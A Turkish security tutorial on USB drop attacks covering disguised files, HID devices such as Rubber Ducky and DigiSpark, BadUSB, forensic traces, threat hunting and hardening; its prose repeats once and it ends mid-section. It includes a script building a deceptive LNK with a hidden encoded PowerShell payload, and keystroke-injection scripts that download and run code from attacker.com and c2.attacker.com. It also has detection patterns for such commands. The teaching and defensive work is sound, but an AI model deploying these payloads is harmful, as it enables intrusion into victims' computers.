Merhabalar. Bir sabah işe giderken şirketin otoparkında usb bellek buldunuz. Üzerinde "Yeni Maaş Listesi 2027" yazıyor. Aldınız, merakla şirket bilgisayarınıza taktınız. Bu kadar. Saldırı başlamıştır. USB drop saldırıları hem en basit hem de en etkili sosyal mühendislik tekniklerinden biridir. Teknik bilgi gerektirmez, pahalı değildir ve insan merakını doğrudan hedef alır. Bu yazımda USB drop saldırılarının nasıl çalıştığını, kullanılan donanım ve yazılım tekniklerini, bırakılan izleri ve savunma yöntemlerini anlatacağım. İyi okumalar.
İlk Olarak Neden Bu Kadar Etkili?
Google ve Defcon'da yapılan araştırmalar ilginç bir gerçeği ortaya koymuştur. Yere bırakılan USB belleklerin yüzde elliden fazlası birileri tarafından bilgisayara takılır. Bu oran kurumsal ortamlarda da çok farklı değildir.Neden? Çünkü insanın doğasında merak vardır. USB buldunuz, içinde ne var? Belki önemli bir şeydir, belki size ait bir şey kaybolmuştur, belki birinin kişisel fotoğrafları vardır, belki işe yarar bir bilgi vardır . Bu merak dürtüsü güvenlik eğitiminin önüne çok sık geçer.Diyelim kötü bir niyetiniz ya da merakınız yok. Yine de yardım etme içgüdüsü devreye girer. "Birinin USB'si düşmüş, belki sahiplidir, bağlanayım da ne olduğuna bakayım" diye düşünülür. Bu sefer saldırgan kurban içgüdüsünü değil iyilik duygusunu kullanmıştır.Teknik açıdan bakıldığında USB drop saldırısı fiziksel erişim gerektirir ama hedef sistemle doğrudan temas gerektirmez. Saldırgan şirkete hiç girmez, kimseyle konuşmaz, kameraya yakalanmaz. USB'yi binaya giriş noktasına, otoparka, kafeteryaya veya konferans odasına bırakır ve bekler.
Klasik Yöntem, Autorun ve Kötü Amaçlı Dosyalar
Windows XP ve Vista döneminde USB drop saldırıları çok kolaydı. USB takıldığında Windows autorun.inf dosyasını okur ve otomatik olarak belirtilen programı çalıştırırdı. Saldırgan zararlı yazılımını USB'ye kopyalar, yanına bir autorun.inf dosyası ekler ve bırakır. Takan kurban ise herhangi bir şeye tıklamasa da zararlı yazılım çalışırdı.
Windows 7 ile autorun USB için varsayılan olarak devre dışı bırakıldı. Bu teknik artık eski sürümlerde çalışır. Ama saldırganlarımız tabiki durmazlar.
Autorun kapandıktan sonra sosyal mühendislik devreye girer. USB içine ilgi çekici dosya adları koyulur: Maas_Listesi_2027.pdf.exe, Gizli_Belgeler.lnk, .Hadiseifsa.jpg.exe gibi. Windows varsayılan olarak bilinen dosya uzantılarını gizler. Kullanıcı .exe uzantısını görmez, PDF veya JPEG zanneder ve çift tıklar.
.lnk yani kısayol dosyaları da popüler bir vektördür. Zararsız görünen bir kısayol arka planda PowerShell veya cmd çalıştırır. Kısayolun hedef alanına komut satırı argümanları eklenebilir ve bu alan Windows Gezgini'nde görünmez.
HID Saldırıları, USB Klavye Gibi Davranma
Burası işin gerçekten ilginçleştiği yer. Sıradan bir depolama aygıtı değil, klavye gibi davranan bir USB cihazı takıldığında olay tamamen değişir.
HID (Human Interface Device) sınıfı klavye, fare ve oyun kumandası gibi aygıtları kapsar. İşletim sistemi HID aygıtlarına çok güvenir çünkü bunlar giriş aygıtlarıdır. Antivirüs yazılımları dosyaları tarar ama klavyeden gelen tuş vuruşlarını taramaz.
USB Rubber Ducky bu prensibe dayanan en tanınmış cihazdır. Görünüşte normal bir USB bellek gibi görünür ama sisteme klavye olarak tanıtır. İçinde önceden yazılmış bir DuckyScript akışı vardır. USB takıldığı anda saniyeler içinde onlarca tuş vuruşu gönderir. PowerShell açar, reverse shell indirir, çalıştırır. Tüm bunlar birkaç saniyede tamamlanır.
Bash Bunny daha gelişmiş bir versiyondur. Hem HID hem depolama aygıtı olarak davranabilir, ağ aygıtı olarak da görünebilir. Ethernet adaptörü modunda bağlandığında sistemin varsayılan ağ geçidini ele geçirir ve tüm trafiği üzerinden geçirir.
Arduino tabanlı çözümler çok daha ucuzdur. DigiSpark veya Pro Micro gibi küçük Arduino uyumlu kartlar birkaç dolar maliyetle aynı HID saldırısını gerçekleştirir. Bu kartları USB hub veya şarj kablosuna gizlemek bile mümkündür.
O.MG Kablo ve Donanım Truva Atları
USB drop saldırıları artık yalnızca USB bellek formatında gelmiyor. Donanım truva atları diye çok daha sinsi formlara bürünmüş olabiliyorlar.
O.MG Cable görünüşte tamamen normal bir USB şarj kablosudur. iPhone Lightning, USB-C veya Micro-USB olarak üretilir. İçinde gömülü bir Wi-Fi modülü ve işlemci vardır. Kurban bu kabloyu telefon şarjı için kullanır veya bilgisayarına bağlar. Kablo artık Wi-Fi üzerinden saldırgana bağlanır ve HID saldırısı başlar. Saldırgan yakın mesafeden, hatta internet üzerinden komutu tetikleyebilir.
OMG Plug USB adaptör formunda gelir. Küçük bir USB-A dişi adaptör gibi görünür ama içinde aynı donanım vardır. Bilgisayarın USB portuna takılı kalır ve normal bir USB hub gibi çalışır gibi görünse de arka planda aktiftir.
USB Killer ise farklı bir kategoridedir. Payload çalıştırmaz, sistemi kalıcı olarak devre dışı bırakır. Kondansatörlerle biriken yüksek voltajı USB portuna geri gönderir ve anakartı yakar. Sabotaj veya veri imhası senaryolarında karşılaşılır.
Firmware manipülasyonu ise en gelişmiş kategoridir. BadUSB saldırısında USB belleğin kontrolcü firmware'i yeniden programlanır. Artık normal bir depolama aygıtı değil, çok amaçlı bir saldırı platformudur. Antivirüs bu durumu tespit edemez çünkü işletim sistemine standart bir USB aygıtı gibi görünür.
Sistemde Bırakılan İzler
USB takıldığında Windows birçok yere kayıt düşer. Bu kayıtlar hem adli analiz için hem de bir güvenlik olayının tespiti için birincil kaynaktır.
Registry — USBSTOR anahtarı takılan her USB depolama aygıtını kaydeder. Seri numarası, Vendor ID, Product ID ve son bağlantı zamanı burada saklanır. USB bellek hiç çalışmamış olsa bile bağlandığı gerçeği bu anahtarda görünür.
Windows Event Log da USB bağlantısını kaydeder. Event ID 2003 Microsoft-Windows-DriverFrameworks-UserMode günlüğünde USB cihazının takılmasını bildirir. System.evtx'te disk hizmetinin başlatılmasıyla ilgili olaylar görünür.
Setupapi.dev.log dosyası her yeni donanım kurulumunu detaylı olarak kaydeder. USB ilk kez takıldığında bu dosyaya tarih ve saat damgasıyla birlikte giriş yapılır. Sonraki takmalarda USBSTOR anahtarı güncellenir.
LNK ve Prefetch dosyaları USB'den dosya çalıştırıldıktan sonra iz bırakır. Prefetch kaydı hangi programın hangi sürücüden çalıştığını içerir. LNK dosyası orijinal dosyanın hangi sürücüde olduğunu kaydeder.
Sosyal Mühendislik Kısmı— Pretexting
USB drop saldırısının teknik kısmı aslında işin kolay tarafıdır. Asıl mesele kurbanın USB'yi takmasını sağlamaktır. Bunun için çeşitli pretexting yani senaryo oluşturma teknikleri kullanılır.
Hedef odaklı etiketleme en etkili yöntemdir. USB üzerine kurumun logosu basılır, "Gizli — Yönetim Kurulu Sunumu Q4 2026" veya "İK — Performans Değerlendirmeleri" gibi bir etiket yapıştırılır. İnsanın merakı bu etiketlere direnmekte zorlanır. Özellikle kurumsal materyale benzetilmiş USB bellekler çalışanlar tarafından çok daha hızlı takılır.
Hediye veya promosyon kılığı da yaygın kullanılır. Konferans çantasına konulan, masaya bırakılan promosyon USB bellekler olağan karşılanır. Güvenlik bilinci yüksek olmayan ortamlarda kimse şüphelenmez.
Yetkili kaynak taklidi ise en gelişmiş formdur. USB birlikte gelen bir kağıt notla sunulur: "IT departmanı güvenlik güncellemesi — lütfen çalıştırınız" veya "Muhasebe — geçen haftaki dosyalar, bakınız." Bu mesaj resmi bir kurumsal e-postayı taklit eder.
İlginç bir araştırma vardır. University of Illinois'de yapılan bir deneyde 297 USB bellek kampüse bırakılmış ve yüzde kırk beşi bir saat süre içerisinde bilgisayara takılmıştır. Üzerinde şirket logolu etiket olanların bu oranı çok daha yüksektir.
Tespit ve Tehdit Avcılığı
USB drop saldırısı gerçekleşmiş ya da şüphe var diyelim, nereden başlanır ne yapılmalıdır?
İlk adım USB bağlantı geçmişini çıkarmaktır. USBSTOR Registry anahtarı ve setupapi.dev.log birlikte incelendiğinde hangi USB'nin ne zaman takıldığı anlaşılır. Olay zamanıyla örtüşen bir USB kaydı varsa bu ciddi bir ipucudur. İkinci adım o USB'den ne yapıldığını anlamaktır. Prefetch kayıtları USB'den çalıştırılan dosyaları gösterir. LNK dosyaları USB üzerindeki belgelere erişilip erişilmediğini ortaya koyar. ShimCache ve Amcache kayıtları da yürütülen dosyalar hakkında ek bilgi sunar. Üçüncü adım USB'den kaynaklanan ağ aktivitesini aramaktır. Eğer payload çalıştıysa ve network bağlantısı kurulduysa bu bağlantı firewall veya proxy loglarında görünür. Olağandışı bir zamanda, olağandışı bir hedefe kurulan bağlantı araştırılır.
Sysmon kurulduysa Event ID 11 dosya oluşturmasını, Event ID 1 süreç başlatmasını kaydeder. USB'den çalıştırılan her süreç parent-child ilişkisiyle görünür. Örneğin explorer.exe'den başlayan powershell.exe veya wscript.exe çok şüphelidir.
Savunma kısmı, USB Drop'u Nasıl Önlersiniz?
USB drop saldırısına karşı savunma hem teknik hem de insan odaklıdır. Yalnızca teknik önlem almak yetmez, yalnızca farkındalık eğitimi de yetmez.
USB portlarını devre dışı bırakmak en radikal ama en etkili yöntemdir. Grup İlkesi üzerinden USB depolama aygıtlarının bağlanması tamamen engellenebilir. Yalnızca beyaz listedeki aygıtların bağlanmasına izin verilebilir. Bu yöntem üretim ortamlarında işi zorlaştırır ama yüksek güvenlik gerektiren sistemler için zorunludur.
USBGuard Linux sistemlerde USB politikası yönetimi için gelişmiş bir araçtır. Her USB aygıtı beyaz listeye alınmadığı sürece engellenir. Politika dosyasında izin verilen aygıtlar Vendor ID ve seri numarasıyla tanımlanır.
Endpoint Agent politikaları kurumsal EDR çözümlerinde USB kontrolü sunar. Tanımsız USB takıldığında alert üretilir, dosya çalıştırma engellenir veya karantinaya alınır.
Farkındalık eğitimi teknik önlemleri desteklemelidir. "Bulduğunuz USB'yi takmayın" mesajı yeterli değildir. Pratik tatbikat yapılmalıdır: gerçek USB drop simülasyonu, kaç kişinin taktığını ölçme, sonuçları eğitim materyali olarak kullanma. İnsanlar teorik bilgiyi pratik deneyimden çok daha az kalıcı öğrenir.
USB drop saldırıları insan merakını ve iyilik duygusunu silah olarak kullanan, teknik açıdan basit ama etki açısından son derece yıkıcı saldırılardır. Klasik yöntemde kötü amaçlı dosyalar ve LNK kısayolları kullanılır. HID saldırılarında USB Rubber Ducky ve Arduino kartları sisteme klavye gibi davranarak saniyeler içinde payload çalıştırır. O.MG Cable ve BadUSB firmware manipülasyonu saldırıyı neredeyse görünmez kılar. Sistem tarafında USBSTOR anahtarı, setupapi.dev.log, Prefetch ve Sysmon kayıtları USB bağlantısını ve sonraki aktiviteyi belgeler. Savunmada Group Policy ile USB devre dışı bırakma, USBGuard ile beyaz liste politikası ve EDR ile USB izleme teknik katmanı oluşturur. Farkındalık tatbikatları bu katmanı insan faktörüyle destekler. Teknik ve insan önlemleri bir arada olmadan yalnızca birine güvenmek yeterli değildir.
Önemli Hatırlatma: Bu yazıdaki teknikler ve kodlar eğitim ve bilgilendirme kapsamında paylaşılmıştır. Yetkisiz sistemlere USB drop saldırısı gerçekleştirmek TCK Madde 243 ve ilgili maddeler kapsamında suçtur. Denemeyiniz.
İlk Olarak Neden Bu Kadar Etkili?
Google ve Defcon'da yapılan araştırmalar ilginç bir gerçeği ortaya koymuştur. Yere bırakılan USB belleklerin yüzde elliden fazlası birileri tarafından bilgisayara takılır. Bu oran kurumsal ortamlarda da çok farklı değildir.Neden? Çünkü insanın doğasında merak vardır. USB buldunuz, içinde ne var? Belki önemli bir şeydir, belki size ait bir şey kaybolmuştur, belki birinin kişisel fotoğrafları vardır, belki işe yarar bir bilgi vardır . Bu merak dürtüsü güvenlik eğitiminin önüne çok sık geçer.Diyelim kötü bir niyetiniz ya da merakınız yok. Yine de yardım etme içgüdüsü devreye girer. "Birinin USB'si düşmüş, belki sahiplidir, bağlanayım da ne olduğuna bakayım" diye düşünülür. Bu sefer saldırgan kurban içgüdüsünü değil iyilik duygusunu kullanmıştır.Teknik açıdan bakıldığında USB drop saldırısı fiziksel erişim gerektirir ama hedef sistemle doğrudan temas gerektirmez. Saldırgan şirkete hiç girmez, kimseyle konuşmaz, kameraya yakalanmaz. USB'yi binaya giriş noktasına, otoparka, kafeteryaya veya konferans odasına bırakır ve bekler.
Klasik Yöntem, Autorun ve Kötü Amaçlı Dosyalar
Windows XP ve Vista döneminde USB drop saldırıları çok kolaydı. USB takıldığında Windows autorun.inf dosyasını okur ve otomatik olarak belirtilen programı çalıştırırdı. Saldırgan zararlı yazılımını USB'ye kopyalar, yanına bir autorun.inf dosyası ekler ve bırakır. Takan kurban ise herhangi bir şeye tıklamasa da zararlı yazılım çalışırdı.
Windows 7 ile autorun USB için varsayılan olarak devre dışı bırakıldı. Bu teknik artık eski sürümlerde çalışır. Ama saldırganlarımız tabiki durmazlar.
Autorun kapandıktan sonra sosyal mühendislik devreye girer. USB içine ilgi çekici dosya adları koyulur: Maas_Listesi_2027.pdf.exe, Gizli_Belgeler.lnk, .Hadiseifsa.jpg.exe gibi. Windows varsayılan olarak bilinen dosya uzantılarını gizler. Kullanıcı .exe uzantısını görmez, PDF veya JPEG zanneder ve çift tıklar.
.lnk yani kısayol dosyaları da popüler bir vektördür. Zararsız görünen bir kısayol arka planda PowerShell veya cmd çalıştırır. Kısayolun hedef alanına komut satırı argümanları eklenebilir ve bu alan Windows Gezgini'nde görünmez.
Kod:
# Kötü amaçlı LNK dosyası oluşturmak
# (Pentest eğitimi ve savunma amaçlıdır.)
# PowerShell ile LNK oluştur
$WshShell = New-Object -comObject WScript.Shell
$Kısayol = $WshShell.CreateShortcut("C:\usb\Maaş Listesi.lnk")
# Hedef: Kullanıcıya PDF ikonu gösterir ama...
$Kısayol.TargetPath = "C:\Windows\System32\cmd.exe"
# Gerçek komut argüman alanında gizlidir
$Kısayol.Arguments = '/c powershell -WindowStyle hidden -enc <base64_payload>'
# PDF ikonu göster — kullanıcı aldatılır
$Kısayol.IconLocation = "C:\Windows\System32\shell32.dll, 153"
$Kısayol.WindowStyle = 7 # Minimize başlat — görünmez
$Kısayol.Save()
# Kullanıcı çift tıkladığında:
# → cmd.exe çalışır
# → PowerShell gizli pencerede başlar
# → Base64 kodlu payload çözülüp çalıştırılır
# → Kullanıcı hiçbir şeyin olmadığını sanır
# Tespit: LNK analizi
# LECmd.exe ile kısayol içeriğini incele
LECmd.exe -f "Maaş Listesi.lnk"
# Hedef yol, argümanlar ve makine bilgisi görünür hale gelir
HID Saldırıları, USB Klavye Gibi Davranma
Burası işin gerçekten ilginçleştiği yer. Sıradan bir depolama aygıtı değil, klavye gibi davranan bir USB cihazı takıldığında olay tamamen değişir.
HID (Human Interface Device) sınıfı klavye, fare ve oyun kumandası gibi aygıtları kapsar. İşletim sistemi HID aygıtlarına çok güvenir çünkü bunlar giriş aygıtlarıdır. Antivirüs yazılımları dosyaları tarar ama klavyeden gelen tuş vuruşlarını taramaz.
USB Rubber Ducky bu prensibe dayanan en tanınmış cihazdır. Görünüşte normal bir USB bellek gibi görünür ama sisteme klavye olarak tanıtır. İçinde önceden yazılmış bir DuckyScript akışı vardır. USB takıldığı anda saniyeler içinde onlarca tuş vuruşu gönderir. PowerShell açar, reverse shell indirir, çalıştırır. Tüm bunlar birkaç saniyede tamamlanır.
Bash Bunny daha gelişmiş bir versiyondur. Hem HID hem depolama aygıtı olarak davranabilir, ağ aygıtı olarak da görünebilir. Ethernet adaptörü modunda bağlandığında sistemin varsayılan ağ geçidini ele geçirir ve tüm trafiği üzerinden geçirir.
Arduino tabanlı çözümler çok daha ucuzdur. DigiSpark veya Pro Micro gibi küçük Arduino uyumlu kartlar birkaç dolar maliyetle aynı HID saldırısını gerçekleştirir. Bu kartları USB hub veya şarj kablosuna gizlemek bile mümkündür.
Kod:
### USB Rubber Ducky — DuckyScript örneği
### (Eğitim amaçlı test içindir arkadaslar)
DELAY 1000
# Windows tuşu + R ile Çalıştır'ı aç
GUI r
DELAY 500
# PowerShell'i yönetici olarak başlat
STRING powershell -WindowStyle hidden
ENTER
DELAY 1000
# Reverse shell indir ve çalıştır
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')
ENTER
# Tüm bu işlem 3-4 saniyede tamamlanır
# Kullanıcı bilgisayarının başında olsa bile fark etmesi zordur
### Arduino/DigiSpark ile aynı etki — C kodu
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(2000);
// Windows + R
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
// PowerShell komutu yaz
DigiKeyboard.print("powershell -W h -Exec Bypass -c ");
DigiKeyboard.print("IEX(IWR 'http://c2.attacker.com/p').Content");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}
# Maliyet: ~5$
# Tespit zorluğu: Yüksek — antivirüs klavye girişlerini taramaz
### Tespit yöntemi — USB HID aygıt izleme
# Windows'ta yeni USB aygıt kaydı:
# HKLM\SYSTEM\CurrentControlSet\Enum\USB\
# Her yeni aygıt burada görünür
# PowerShell ile USB geçmişi
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Enum\USB\*\*" |
Select FriendlyName, DeviceDesc, Mfg, Service |
Where-Object Service -eq "HidUsb" |
# HID sınıfındaki tüm aygıtlar — beklenmedik klavyeler şüpheli
Format-Table -AutoSize
O.MG Kablo ve Donanım Truva Atları
USB drop saldırıları artık yalnızca USB bellek formatında gelmiyor. Donanım truva atları diye çok daha sinsi formlara bürünmüş olabiliyorlar.
O.MG Cable görünüşte tamamen normal bir USB şarj kablosudur. iPhone Lightning, USB-C veya Micro-USB olarak üretilir. İçinde gömülü bir Wi-Fi modülü ve işlemci vardır. Kurban bu kabloyu telefon şarjı için kullanır veya bilgisayarına bağlar. Kablo artık Wi-Fi üzerinden saldırgana bağlanır ve HID saldırısı başlar. Saldırgan yakın mesafeden, hatta internet üzerinden komutu tetikleyebilir.
OMG Plug USB adaptör formunda gelir. Küçük bir USB-A dişi adaptör gibi görünür ama içinde aynı donanım vardır. Bilgisayarın USB portuna takılı kalır ve normal bir USB hub gibi çalışır gibi görünse de arka planda aktiftir.
USB Killer ise farklı bir kategoridedir. Payload çalıştırmaz, sistemi kalıcı olarak devre dışı bırakır. Kondansatörlerle biriken yüksek voltajı USB portuna geri gönderir ve anakartı yakar. Sabotaj veya veri imhası senaryolarında karşılaşılır.
Firmware manipülasyonu ise en gelişmiş kategoridir. BadUSB saldırısında USB belleğin kontrolcü firmware'i yeniden programlanır. Artık normal bir depolama aygıtı değil, çok amaçlı bir saldırı platformudur. Antivirüs bu durumu tespit edemez çünkü işletim sistemine standart bir USB aygıtı gibi görünür.
Kod:
### BadUSB — Firmware yeniden programlama konsepti
### (Eğitim amaçlı — Phison PS2251 controller örneği)
# Bazı USB kontrolcüleri yeniden programlanabilir
# Phison PS2251: En yaygın araştırılan
# Alcor AU6989: Başka bir hedef
# Genesys Logic GL3224: Flash tabanlı depolama kontrolcüsü
# Firmware değişikliğinin tespiti çok zordur:
# - USB Vendor ID ve Product ID değiştirilebilir
# - Cihaz birden fazla aygıt olarak görünebilir
# - Sanal CD-ROM sürücüsü oluşturulabilir
# USBGuard ile USB aygıt politikası — Linux
# /etc/usbguard/rules.conf
# Sadece onaylı aygıtlara izin ver
allow id 1234:5678 # Şirket onaylı USB bellek
# Diğer her şeyi engelle
block
# USB belleğin orijinal mi yoksa BadUSB mu olduğunu anlamak
# için:
lsusb -v | grep -E "idVendor|idProduct|bDeviceClass|bNumInterfaces"
# Beklenmedik interface sayısı şüpheli
# Tek bir USB bellekte HID + Mass Storage aynı anda: ŞÜPHELİ
# Windows'ta aygıt interface tespiti
Get-PnpDevice -Class HIDClass |
Where-Object Status -eq "OK" |
Select FriendlyName, InstanceId, HardwareID
# Aynı USB hub'a bağlı hem depolama hem HID aygıtı varsa
# bu BadUSB veya O.MG benzeri bir cihazdır
Sistemde Bırakılan İzler
USB takıldığında Windows birçok yere kayıt düşer. Bu kayıtlar hem adli analiz için hem de bir güvenlik olayının tespiti için birincil kaynaktır.
Registry — USBSTOR anahtarı takılan her USB depolama aygıtını kaydeder. Seri numarası, Vendor ID, Product ID ve son bağlantı zamanı burada saklanır. USB bellek hiç çalışmamış olsa bile bağlandığı gerçeği bu anahtarda görünür.
Windows Event Log da USB bağlantısını kaydeder. Event ID 2003 Microsoft-Windows-DriverFrameworks-UserMode günlüğünde USB cihazının takılmasını bildirir. System.evtx'te disk hizmetinin başlatılmasıyla ilgili olaylar görünür.
Setupapi.dev.log dosyası her yeni donanım kurulumunu detaylı olarak kaydeder. USB ilk kez takıldığında bu dosyaya tarih ve saat damgasıyla birlikte giriş yapılır. Sonraki takmalarda USBSTOR anahtarı güncellenir.
LNK ve Prefetch dosyaları USB'den dosya çalıştırıldıktan sonra iz bırakır. Prefetch kaydı hangi programın hangi sürücüden çalıştığını içerir. LNK dosyası orijinal dosyanın hangi sürücüde olduğunu kaydeder.
Kod:
### USB Adli Analizi — Bağlantı Geçmişini Çıkarma
# 1. USBSTOR Registry anahtarı — bağlanan tüm USB depolama aygıtları
reg query "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" /s
# PowerShell ile düzenli çıktı
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*" |
Select-Object @{N='Aygıt';E={$_.FriendlyName}},
@{N='SerialNo';E={$_.PSChildName}},
@{N='HardwareID';E={$_.HardwareID}} |
Format-Table -AutoSize
# 2. Son bağlantı zamanı — MountedDevices + USBSTOR
# Eric Zimmermann - USB Detective aracı
# veya:
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*" |
ForEach-Object {
$props = $_
$lastConn = (Get-ItemProperty -Path $props.PSPath -ErrorAction SilentlyContinue)
[PSCustomObject]@{
Aygıt = $props.FriendlyName
Seri = $props.PSChildName.Split('&')[0]
SonBaglanti = $lastConn.LastWriteTime
}
} | Sort-Object SonBaglanti -Descending
# 3. Setupapi.dev.log — ilk bağlantı zamanı
$setupLog = "C:\Windows\INF\setupapi.dev.log"
Select-String -Path $setupLog -Pattern "USBSTOR" -Context 0,5 |
Select-Object -First 20 |
ForEach-Object { $_.Context.PostContext }
# 4. USB'den çalıştırılan programlar — Prefetch
# Prefetch kayıtlarında sürücü harfi bilgisi bulunur
PECmd.exe -d C:\Windows\Prefetch --csv prefetch.csv
Import-Csv prefetch.csv |
Where-Object {
# USB sürücü harfleri genellikle D:, E:, F: gibi
$_.SourceFilesRun -match "[D-Z]:\\"
} |
Select ExecutableName, LastRun, SourceFilesRun
# 5. Tam USB analiz aracı — USBDeview (NirSoft)
USBDeview.exe /sxml usb_gecmis.xml
# Tüm USB geçmişi, bağlantı zamanları, seri numaraları
Sosyal Mühendislik Kısmı— Pretexting
USB drop saldırısının teknik kısmı aslında işin kolay tarafıdır. Asıl mesele kurbanın USB'yi takmasını sağlamaktır. Bunun için çeşitli pretexting yani senaryo oluşturma teknikleri kullanılır.
Hedef odaklı etiketleme en etkili yöntemdir. USB üzerine kurumun logosu basılır, "Gizli — Yönetim Kurulu Sunumu Q4 2026" veya "İK — Performans Değerlendirmeleri" gibi bir etiket yapıştırılır. İnsanın merakı bu etiketlere direnmekte zorlanır. Özellikle kurumsal materyale benzetilmiş USB bellekler çalışanlar tarafından çok daha hızlı takılır.
Hediye veya promosyon kılığı da yaygın kullanılır. Konferans çantasına konulan, masaya bırakılan promosyon USB bellekler olağan karşılanır. Güvenlik bilinci yüksek olmayan ortamlarda kimse şüphelenmez.
Yetkili kaynak taklidi ise en gelişmiş formdur. USB birlikte gelen bir kağıt notla sunulur: "IT departmanı güvenlik güncellemesi — lütfen çalıştırınız" veya "Muhasebe — geçen haftaki dosyalar, bakınız." Bu mesaj resmi bir kurumsal e-postayı taklit eder.
İlginç bir araştırma vardır. University of Illinois'de yapılan bir deneyde 297 USB bellek kampüse bırakılmış ve yüzde kırk beşi bir saat süre içerisinde bilgisayara takılmıştır. Üzerinde şirket logolu etiket olanların bu oranı çok daha yüksektir.
Tespit ve Tehdit Avcılığı
USB drop saldırısı gerçekleşmiş ya da şüphe var diyelim, nereden başlanır ne yapılmalıdır?
İlk adım USB bağlantı geçmişini çıkarmaktır. USBSTOR Registry anahtarı ve setupapi.dev.log birlikte incelendiğinde hangi USB'nin ne zaman takıldığı anlaşılır. Olay zamanıyla örtüşen bir USB kaydı varsa bu ciddi bir ipucudur. İkinci adım o USB'den ne yapıldığını anlamaktır. Prefetch kayıtları USB'den çalıştırılan dosyaları gösterir. LNK dosyaları USB üzerindeki belgelere erişilip erişilmediğini ortaya koyar. ShimCache ve Amcache kayıtları da yürütülen dosyalar hakkında ek bilgi sunar. Üçüncü adım USB'den kaynaklanan ağ aktivitesini aramaktır. Eğer payload çalıştıysa ve network bağlantısı kurulduysa bu bağlantı firewall veya proxy loglarında görünür. Olağandışı bir zamanda, olağandışı bir hedefe kurulan bağlantı araştırılır.
Sysmon kurulduysa Event ID 11 dosya oluşturmasını, Event ID 1 süreç başlatmasını kaydeder. USB'den çalıştırılan her süreç parent-child ilişkisiyle görünür. Örneğin explorer.exe'den başlayan powershell.exe veya wscript.exe çok şüphelidir.
Kod:
### USB Drop Sonrası Tehdit Avcılığı
# 1. Sysmon ile USB'den süreç başlatma tespiti
# USB sürücüsünden başlatılan süreçleri bul
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object Id -eq 1 |
ForEach-Object {
[xml]$xml = $_.ToXml()
$data = @{}
$xml.Event.EventData.Data | ForEach-Object { $data[$_.Name] = $_.'#text' }
# D:, E:, F: gibi çıkarılabilir sürücülerden başlayan süreçler
if ($data['Image'] -match '^[D-Z]:\\') {
[PSCustomObject]@{
Zaman = $_.TimeCreated
Süreç = $data['Image']
ParentSüreç= $data['ParentImage']
CommandLine= $data['CommandLine']
}
}
}
# 2. Explorer.exe'den başlayan şüpheli çocuk süreçler
# USB'deki LNK veya dosya açıldığında explorer çalıştırır
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object Id -eq 1 |
ForEach-Object {
[xml]$xml = $_.ToXml()
$data = @{}
$xml.Event.EventData.Data | ForEach-Object { $data[$_.Name] = $_.'#text' }
$supheliSurecler = @("powershell.exe","cmd.exe","wscript.exe",
"cscript.exe","mshta.exe","regsvr32.exe")
if ($data['ParentImage'] -like "*explorer.exe" -and
$supheliSurecler -contains (Split-Path $data['Image'] -Leaf)) {
[PSCustomObject]@{
Zaman = $_.TimeCreated
Süreç = $data['Image']
Komut = $data['CommandLine']
Çalışma = $data['CurrentDirectory']
}
}
}
# 3. ShimCache / AppCompatCache — çalıştırılan dosyalar
# AppCompatCacheParser ile çıkart
AppCompatCacheParser.exe --csv C:\analiz\shimcache.csv
Import-Csv C:\analiz\shimcache.csv |
Where-Object FilePath -match "^[D-Z]:\\" |
Select LastModifiedTimeUTC, FilePath |
Sort-Object LastModifiedTimeUTC -Descending
# 4. HID aygıt şüphesi — beklenmedik klavye
# Sistemdeki klavye sayısını kontrol et
Get-PnpDevice -Class Keyboard |
Select FriendlyName, Status, InstanceId
# Birden fazla klavye veya tanımlanamayan HID: ŞÜPHELİ
# 5. Yeni USB bağlantısından sonra ağ trafiği
# PowerShell download aktivitesi — Event ID 4104 (Script Block)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object Id -eq 4104 |
Where-Object Message -match "DownloadString|WebClient|Invoke-Expression|IEX" |
Select TimeCreated, Message | Select -First 10
Savunma kısmı, USB Drop'u Nasıl Önlersiniz?
USB drop saldırısına karşı savunma hem teknik hem de insan odaklıdır. Yalnızca teknik önlem almak yetmez, yalnızca farkındalık eğitimi de yetmez.
USB portlarını devre dışı bırakmak en radikal ama en etkili yöntemdir. Grup İlkesi üzerinden USB depolama aygıtlarının bağlanması tamamen engellenebilir. Yalnızca beyaz listedeki aygıtların bağlanmasına izin verilebilir. Bu yöntem üretim ortamlarında işi zorlaştırır ama yüksek güvenlik gerektiren sistemler için zorunludur.
USBGuard Linux sistemlerde USB politikası yönetimi için gelişmiş bir araçtır. Her USB aygıtı beyaz listeye alınmadığı sürece engellenir. Politika dosyasında izin verilen aygıtlar Vendor ID ve seri numarasıyla tanımlanır.
Endpoint Agent politikaları kurumsal EDR çözümlerinde USB kontrolü sunar. Tanımsız USB takıldığında alert üretilir, dosya çalıştırma engellenir veya karantinaya alınır.
Farkındalık eğitimi teknik önlemleri desteklemelidir. "Bulduğunuz USB'yi takmayın" mesajı yeterli değildir. Pratik tatbikat yapılmalıdır: gerçek USB drop simülasyonu, kaç kişinin taktığını ölçme, sonuçları eğitim materyali olarak kullanma. İnsanlar teorik bilgiyi pratik deneyimden çok daha az kalıcı öğrenir.
Kod:
### USB Güvenlik Sertleştirme
# 1. Windows Group Policy — USB depolama engelleme
# Computer Configuration → Administrative Templates
# → System → Removable Storage Access
# "All Removable Storage classes: Deny all access" = Enabled
# Sadece okuma izni (yazma engelli)
# "Removable Disks: Deny write access" = Enabled
# Registry ile aynı işlem:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
# 4 = Devre dışı, 3 = Manuel, 2 = Otomatik
# 2. USBGuard — Linux USB politikası
# Kurulum
apt install usbguard
# Mevcut takılı aygıtları kabul et, geri kalanını engelle
usbguard generate-policy > /etc/usbguard/rules.conf
systemctl enable --now usbguard
# Yeni aygıt takıldığında:
# usbguard list-devices → bekleyen aygıtları listele
# usbguard allow-device ID → geçici izin
# usbguard block-device ID → engelle
# 3. Windows Defender Application Control (WDAC)
